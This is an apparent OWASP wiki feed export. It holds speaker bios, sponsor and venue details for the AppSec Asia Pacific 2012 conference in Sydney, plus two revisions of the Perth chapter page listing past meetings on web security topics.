Dr Jason Smith  is an assistant director at the national CERT, CERT Australia, which is part of the Attorney-General's Department. He is an experienced cyber security researcher and consultant, having provided consultancy services over the last decade on information infrastructure protection to government and critical infrastructure utilities.&lt;br /&gt;
&lt;br /&gt;
Since joining government Jason has been involved in the development and execution national scale cyber exercises and the advanced cyber security training for control systems conducted by the US Department of Homeland Security.&lt;br /&gt;
&lt;br /&gt;
Jason holds a degree in software engineering and data communications, a PhD in information security and is an Adjunct Associate Professor at the Queensland University of Technology.&lt;br /&gt;
&lt;br /&gt;
[http://www.cert.gov.au/ About CERT Australia] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Jeremiah Grossman==&lt;br /&gt;
Jeremiah Grossman is the Founder and CTO of WhiteHat Security, where he is responsible for Web security R&amp;amp;D and industry outreach. Mr. Grossman has written dozens of articles, white papers, and is a published author. His work has been featured in the Wall Street Journal, NY Times and many other mainstream media outlets. As a well-known security expert and industry veteran, Mr. Grossman has been a guest speaker on five continents at hundreds of events including BlackHat, RSA, ISSA, and others. He has been invited to guest lecture at top universities such as UC Berkeley, Stanford, Harvard, UoW Madison, UCLA, and Carnegie Mellon. Mr. Grossman is also a co-founder of the Web Application Security Consortium (WASC) and previously named one of InfoWorld's Top 25 CTOs. Before founding WhiteHat, Mr. Grossman was an information security officer at Yahoo!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mr. Grossman was recently a speaker at TEDxMaui. [http://tedxmaui.com/2011/12/30/speaker-spotlight-jeremiah-grossman/ Learn more here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Rafal Los==&lt;br /&gt;
Rafal Los, Chief Security Evangelist for Hewlett-Packard Software, combines over a decade of subject-matter expertise in information security and risk management with a critical business perspective.  From technical research to building and implementing enterprise application security programs, Rafal has a track record with organizations of diverse sizes and verticals.  He is a featured speaker at events around the globe, and has presented at events produced by OWASP, ISSA, Black Hat,  and SANS among many others. He stays active in the community by writing, speaking and contributing research, representing HP in OWASP, the Cloud Security Alliance and other industry groups. His blog, Following the White Rabbit, with his unique perspective on security and risk management has amassed a following from his industry peers, business professionals, and even the media and can be found at [http://hp.com/go/white-rabbit http://hp.com/go/white-rabbit].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Prior to joining HP, Los defined what became the software security program and served as a regional security lead at a Global Fortune 100 contributing to the global organization's security and risk-management strategy internally and externally.  Rafal prides himself on being able to add a 'tint of corporate realism' to information security.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Rafal received his B. S. in Computer Information Systems from Concordia University, River Forest, Ill.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;Threat Profiling the Mobile Application Ecosystem:The flood gates of the mobile age have swung wide open, and whether your organization is prepared or not - mobile applications utilizing cloud resources are the future. As organizations race to release ‘mobile’ versions of applications that do everything from home automation to managing your medications and health history, software security assurance is paramount from both regulatory and risk management perspectives. This requires an entirely different approach than simply running scans or handing off your source code to be ‘audited.’  Analyzing the source code, the mobile application, remote application interfaces and the communication protocols between them are critical to understanding the complete threat profile of the mobile application. Simply looking at one of these components can provide a dangerously misleading representation and lead to increased risk exposure. Rafal will discuss the full threat profile of mobile applications, including their real attack surface and provide thoughts on the future of mobile applications as enterprises migrate further into cloud computing.&lt;br /&gt;
&lt;br /&gt;
=Track Session Speakers=&lt;br /&gt;
&lt;br /&gt;
{{:AppSecAsiaPac2012/Talks}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Sponsors=&lt;br /&gt;
&lt;br /&gt;
The Conference Committee is excited to announce that the conference has been openly supported by the following vendors and associations. Without the great support of these companies and organisations the 2012 event would not be what it is today.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Diamond &amp;amp; Platinum Sponsors&amp;lt;/h2&amp;gt; &lt;br /&gt;
The OWASP Conference 2012, welcomes our sponsors for Diamond and Platinum. There are still spaces available for sponsorship, but it's closing fast.&lt;br /&gt;
&lt;br /&gt;
More information is available on our sponsorship packages by viewing the sponsor pack [[File:AppSec AsiaPac 2012 Sponsorship.pdf]]. Contact our Committee for more information.&lt;br /&gt;
&lt;br /&gt;
[[File:Fortify HP logo.png|link=http://www.fortify.com]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Gold &amp;amp; Silver Sponsors&amp;lt;/h2&amp;gt; &lt;br /&gt;
The OWASP Conference 2012, welcomes our sponsors for Gold and Silver. The conference still has availability for other Gold and Silver sponsors.&lt;br /&gt;
&lt;br /&gt;
[[File:AppsecureTransLogo.png|link=http://www.appsecure.com/]]&lt;br /&gt;
[[File:Imperva 312x54.jpg|link=http://www.imperva.com/]]&lt;br /&gt;
[[File:CS-LogoWeb.png|link=http://www.contentsecurity.com.au/]]&lt;br /&gt;
[[File:Trustwave small.png|link=http://www.trustwave.com/]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt; Associations &amp;amp; Supporters&amp;lt;/h2&amp;gt; &lt;br /&gt;
We are proudly supported by the following Industry Associations and Media outlets.&lt;br /&gt;
&lt;br /&gt;
[[File:Auscert-Header-logo.gif|link=http://www.auscert.org.au/]]&lt;br /&gt;
[[File:AisaLogo.png|link=http://www.aisa.org.au/]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Chapters Workshop=&lt;br /&gt;
&lt;br /&gt;
{{:AppSecAsiaPac2012/Chapters_Workshop}}&lt;br /&gt;
&lt;br /&gt;
=Venue=&lt;br /&gt;
&lt;br /&gt;
We're excited to announce that the location of the OWASP Conference for Appsec Asia 2012 will be held at:&lt;br /&gt;
&lt;br /&gt;
'''Four Points Sheraton, Darling Harbour'''&amp;lt;br&amp;gt;&lt;br /&gt;
161 Sussex Street&amp;lt;br&amp;gt;&lt;br /&gt;
Sydney, New South Wales 2000&amp;lt;br&amp;gt;&lt;br /&gt;
Australia &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The facility provides hotel rooms and conference facilities, OWASP has secured cheap room rates directly in the hotel for the duration of the event.&lt;br /&gt;
&lt;br /&gt;
If you don't know your way around Sydney, here's the Google Maps link to the Hotel.&lt;br /&gt;
&lt;br /&gt;
http://maps.google.com.au/maps/place?q=Four+Points+by+Sheraton+Sydney,+Sussex+Street,+Sydney,+New+South+Wales&amp;amp;hl=en&amp;amp;cid=7369128618339939693&lt;br /&gt;
&lt;br /&gt;
[[File:FourPointsSheratonDarlingHarbour.jpg]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We are using both the Ground and upper levels. The majority of the event will be held on the ground level, including all breaks etc. Attendees will find the registration and conference desk located at the Ground level near Hotel Reception. (You're not going to get lost, as we take up most of the ground level for this event.)&lt;br /&gt;
&lt;br /&gt;
Further details about venue locations will be posted when they become available.&lt;br /&gt;
&lt;br /&gt;
=Travel and Accommodations=&lt;br /&gt;
For assistance with any of the items below, feel free to utilize OWASP's preferred travel agency:&amp;lt;br&amp;gt;&lt;br /&gt;
Segale Travel Service contact information is:  +1-800-841-2276 &amp;lt;br&amp;gt;&lt;br /&gt;
Sr. Travel Consultants:  &amp;lt;br&amp;gt;&lt;br /&gt;
[mailto:mariam@segaletravel.com Maria Martinez]...ext 524 &amp;lt;br&amp;gt;&lt;br /&gt;
[mailto:linnv@segaletravel.com Linn Vander Molen]...ext 520&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additionally, the [mailto:appsecasia2012@owasp.org Conference Planning Team] is available to answer any questions!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Accommodation==&lt;br /&gt;
&lt;br /&gt;
We've been able to arrange for accommodation within the Four Points Sheraton Hotel(where the training and conference will be held) for attendees. These rooms have been allocated at a special rate, and available strictly for a limited time. To book these rooms at the special rate, you need to use the booking link shown below. These rooms are available one night either side of the event ensuring that if you are travelling interstate or international it's easy to find a room at a good rate. The room rate allocated for the event is $200 AUD Inclusive per night.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Four Points Sheraton, Darling Harbour'''&amp;lt;br&amp;gt;&lt;br /&gt;
161 Sussex Street&amp;lt;br&amp;gt;&lt;br /&gt;
Sydney, New South Wales 2000&amp;lt;br&amp;gt;&lt;br /&gt;
Australia &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''[http://www.starwoodmeeting.com/Book/OWASP http://www.starwoodmeeting.com/Book/OWASP]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Travel Domestic==&lt;br /&gt;
&lt;br /&gt;
The OWASP Conference is to be held in Sydney at the Darling Harbour precinct. Hotel Location, http://maps.google.com.au/maps/place?q=Four+Points+by+Sheraton+Sydney,+Sussex+Street,+Sydney,+New+South+Wales&amp;amp;hl=en&amp;amp;cid=7369128618339939693&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==International Travel==&lt;br /&gt;
&lt;br /&gt;
The Sydney International Airport is located adjacent to the Domestic terminal. Similar taxi fares to the city and hotel venue apply.&lt;br /&gt;
If you are travelling by train, you can ride the train from the International terminal all the way to the Town Hall station as above.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Airport Transportation==&lt;br /&gt;
&lt;br /&gt;
*Any major Airline carrier will fly you into Sydney Airport, from here, you can take a Taxi (Approx $35-40 AUD).&lt;br /&gt;
*[http://www.kst.com.au KST Sydney Airport Shuttle] -- $18AUD oneway/ $32AUD roundtrip&lt;br /&gt;
* Another option is the train from the Airport, which you can ride all the way into the closest station which is Town Hall. From this stop the hotel is a small downhill walk (no more then 5-10mins) from the station.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Driving Instructions==&lt;br /&gt;
&lt;br /&gt;
''From Sydney Airport (South)'' &lt;br /&gt;
&lt;br /&gt;
Travel along Southern Cross Drive and take the South Dowling Street exit.&lt;br /&gt;
&lt;br /&gt;
Turn right onto Dacey Avenue.&lt;br /&gt;
&lt;br /&gt;
At the second set of traffic lights turn left onto Anzac Parade.&lt;br /&gt;
&lt;br /&gt;
Follow Anzac Parade past Moore Park on your right; Anzac Parade will become Flinders Street.&lt;br /&gt;
&lt;br /&gt;
Turn left onto Oxford Street and follow to Liverpool Street; Hyde Park will be on your right.&lt;br /&gt;
&lt;br /&gt;
Continue along Liverpool Street and turn right onto Kent Street.&lt;br /&gt;
&lt;br /&gt;
Travel five blocks and turn left onto Erskine Street.&lt;br /&gt;
&lt;br /&gt;
Immediately turn left again onto Sussex Street. The hotel will be on your right.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''From East'' &lt;br /&gt;
&lt;br /&gt;
Proceed along New South Head Road. Continue onto William Street and then onto Park Street; Hyde Park will be on your right.&lt;br /&gt;
&lt;br /&gt;
Proceed along Park Street as it becomes Druitt Street and turn right onto Kent Street.&lt;br /&gt;
&lt;br /&gt;
Travel approximately three blocks and turn left onto Erskine Street.&lt;br /&gt;
&lt;br /&gt;
Immediately turn left again onto Sussex Street. The hotel will be on your right.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''From West'' &lt;br /&gt;
&lt;br /&gt;
Proceed along the Western Distributor towards the city taking the City North exit followed by the Sussex Street South Exit.&lt;br /&gt;
&lt;br /&gt;
Turn right onto Sussex Street, the hotel will be on your right.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''From North'' &lt;br /&gt;
&lt;br /&gt;
Take the Pacific Highway/Warringah Highway and proceed over the Sydney Harbour Bridge.&lt;br /&gt;
&lt;br /&gt;
Take the York street exit off the bridge and continue along before turning right into Erskine Street .&lt;br /&gt;
&lt;br /&gt;
Proceed approximately three blocks before turning left into Sussex Street. The hotel will be on your right.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Contact Us=&lt;br /&gt;
&lt;br /&gt;
Justin Derry - Planning Committee Co-Chair&amp;lt;br&amp;gt;&lt;br /&gt;
Andrew van der Stock - Planning Committee Co-Chair&amp;lt;br&amp;gt;&lt;br /&gt;
Christian Frichot - Planning Committee Member&amp;lt;br&amp;gt;&lt;br /&gt;
Andrew Mueller - Planning Committee Member&amp;lt;br&amp;gt;&lt;br /&gt;
Mohd Fazli Azran - Global Conference Committee Liaison&amp;lt;br&amp;gt;&lt;br /&gt;
Sarah Baso - OWASP Operational Support&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you are interested in helping out with this conference or have any questions, please contact us at: appsecasia2012@owasp.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Archives=&lt;br /&gt;
&lt;br /&gt;
*[https://www.owasp.org/index.php/AppSecAsiaPac2012/CFP Call for Papers]&lt;br /&gt;
*[[Speaker Agreement]]&lt;br /&gt;
*[https://www.owasp.org/index.php/AppSecAsiaPac2012/CFT Call for Trainers]&lt;br /&gt;
*[https://www.owasp.org/images/8/80/APAC2012_Training_Instructor_Agreement.pdf Training Instructor Agreement]&lt;br /&gt;
*Information about the [https://www.owasp.org/index.php/AppSecAsiaPac2012/OWASP_Track OWASP Track]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=121281</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=121281"/>
				<updated>2011-12-09T15:23:03Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Shifted Defending Web Apps to Previous Events.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space!&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Defending Web Applications (December 2011) ===&lt;br /&gt;
&lt;br /&gt;
Worried about having your site hacked? What about your Wordpress blog? David Taylor and Christian Frichot of OWASP Perth are back to talk about all things web security, and instead of spending a couple of hours trying to scare you with how to break stuff, we hope to educate you on how best to defend your web applications.&lt;br /&gt;
&lt;br /&gt;
We’ll be covering a range of defensive methods, including addressing coding vulnerabilities directly, implementing an open source HIDS, or even implementing your own 2nd factor authentication scheme utilising the Google Authenticator.&lt;br /&gt;
&lt;br /&gt;
Presented at Perth AISA's Techday 2011&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=120533</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=120533"/>
				<updated>2011-11-21T04:36:50Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Added the 2011 AISA Techday presentation to upcoming events.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== Defending Web Applications (December 2011) ===&lt;br /&gt;
&lt;br /&gt;
Worried about having your site hacked? What about your Wordpress blog? David Taylor and Christian Frichot of OWASP Perth are back to talk about all things web security, and instead of spending a couple of hours trying to scare you with how to break stuff, we hope to educate you on how best to defend your web applications.&lt;br /&gt;
&lt;br /&gt;
We’ll be covering a range of defensive methods, including addressing coding vulnerabilities directly, implementing an open source HIDS, or even implementing your own 2nd factor authentication scheme utilising the Google Authenticator.&lt;br /&gt;
&lt;br /&gt;
Come join us at the annual [https://www.aisa.org.au/branches/perth/events/perth-tech-day-2011/ AISA Perth Tech day!].&lt;br /&gt;
&lt;br /&gt;
Don't worry if you aren't an AISA Member, you can still attend, but you'll have to RSVP via us.&lt;br /&gt;
&lt;br /&gt;
 Date: Friday 2nd of December 2011&lt;br /&gt;
 Time: 9:00am - 5:00pm&lt;br /&gt;
 Location: Medina Grand, Perth&lt;br /&gt;
 RSVP: [mailto:xntrik@gmail.com xntrik@gmail.com]&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
